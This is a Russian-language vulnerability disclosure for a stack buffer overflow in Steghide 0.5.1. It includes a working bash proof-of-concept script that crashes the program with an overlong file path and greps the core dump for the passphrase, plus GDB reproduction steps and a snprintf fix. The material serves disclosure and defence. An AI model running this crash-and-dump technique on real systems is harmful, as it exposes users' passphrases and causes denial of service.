
Proof of Concept (PoC) для переполнения буфера на стеке в Steghide 0.5.1. Демонстрирует, как длинные пути к файлам вызывают аварийное завершение (DoS) и утечку конфиденциальных данных (паролей) через системные core-дампы.
| Поле | Значение |
|---|---|
| Целевое приложение | Steghide (Linux-бинарный файл) |
| Затронутая версия | 0.5.1 (подтверждено); более ранние версии, вероятно, затронуты |
| Тип уязвимости | Переполнение буфера стека (CWE-121) |
| Воздействие | Отказ в обслуживании (DoS), раскрытие информации |
| Среда тестирования | Kali Linux |
| Дата раскрытия | 16 января 2026 года |
| Автор | Erik Dervishi |
| Ссылка на программное обеспечение | https://salsa.debian.org/pkg-security-team/steghide |
| Оценка CVSS v3.1 | 5.5 (средний) |
| Вектор CVSS | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
Обоснование уровня серьезности:
Средний уровень серьезности отражает надежную локальную эксплуатацию, приводящую как к отказу в обслуживании, так и к раскрытию конфиденциальных учетных данных через core-дампы.
В утилите командной строки steghide (версия 0.5.1) была обнаружена уязвимость переполнения буфера стека. Уязвимость срабатывает при передаче чрезмерно длинного пути к файлу в аргумент -cf (файл-контейнер).
Хотя приложение скомпилировано с защитой от разрушения стека (SSP/Canary), которая успешно предотвращает немедленное произвольное выполнение кода (RCE), завершая процесс, этот защитный механизм создает вторичную уязвимость: раскрытие информации.
Анализ подтверждает, что конфиденциальные данные времени выполнения — в частности, парольная фраза, переданная через аргумент -p, — остаются доступными в памяти стека процесса в момент сбоя. В системах, настроенных на сохранение core-дампов (обычно в средах разработки, CI/CD или на неправильно сконфигурированных production-серверах), эти конфиденциальные данные записываются на диск в открытом виде, что позволяет злоумышленникам восстановить учетные данные.
Для успешной эксплуатации этой уязвимости с целью раскрытия информации должны быть выполнены следующие условия:
Локальный доступ: злоумышленник должен иметь локальный доступ к системе или возможность передавать аргументы бинарному файлу steghide (например, через веб-оболочку или скрипт-обертку).
Включенные core-дампы: целевая среда должна быть настроена на создание core-дампов (например, ulimit -c unlimited или fs.suid_dumpable=1) и их запись в место, доступное злоумышленнику.
Учетные данные в памяти: жертва должна выполнить команду с использованием аргумента -p (парольная фраза).
Уязвимость находится в src/Embedder.cc. Приложение не выполняет проверку границ длины строки имени файла перед форматированием её в буфер фиксированного размера с помощью sprintf.
Фрагмент уязвимого кода:
// src/Embedder.cc
char buf[200];
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
Если суммарная длина строк превышает 200 байт, sprintf записывает данные за пределы buf, повреждая стек.
Бинарный файл скомпилирован со Stack Protector от GCC.
Поскольку __stack_chk_fail немедленно вызывает abort(), завершение процесса происходит внезапно. В современных системах Linux (например, использующих systemd-coredump) такая быстрая остановка иногда может привести к отбрасыванию или усечению core-дампа, если система явно не настроена на принудительное создание дампа.
Следующий bash-скрипт настраивает среду для принудительного создания физического core-дампа и извлекает пароль.
Предварительное условие: убедитесь, что ulimit установлен, а шаблон core-файлов направлен в файл (для настройки требуются права root, но эксплойт выполняется от имени пользователя).
# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
Файл: poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh
# 1. Enable core dumps for this session
ulimit -c unlimited
# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF Header + WAVEfmt + PCM Audio + Data Chunk
# We provide a valid header so execution reaches the vulnerable Embedder.cc logic
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] Dump found: $CORE_FILE"
# Search for the password string inside the binary dump
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi
Ручная проверка состояния памяти с использованием GDB (с расширением Pwndbg).
Шаги воспроизведения:
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
Наблюдаемый результат:
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
Вывод: конфиденциальная строка MY_SECRET_PASS сохраняется в сегментах памяти Heap и Stack в момент сбоя, что подтверждает вектор раскрытия информации.
Конфиденциальность (высокая):
Доступность (высокая):
Целостность (низкая):
// Recommended Fix
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);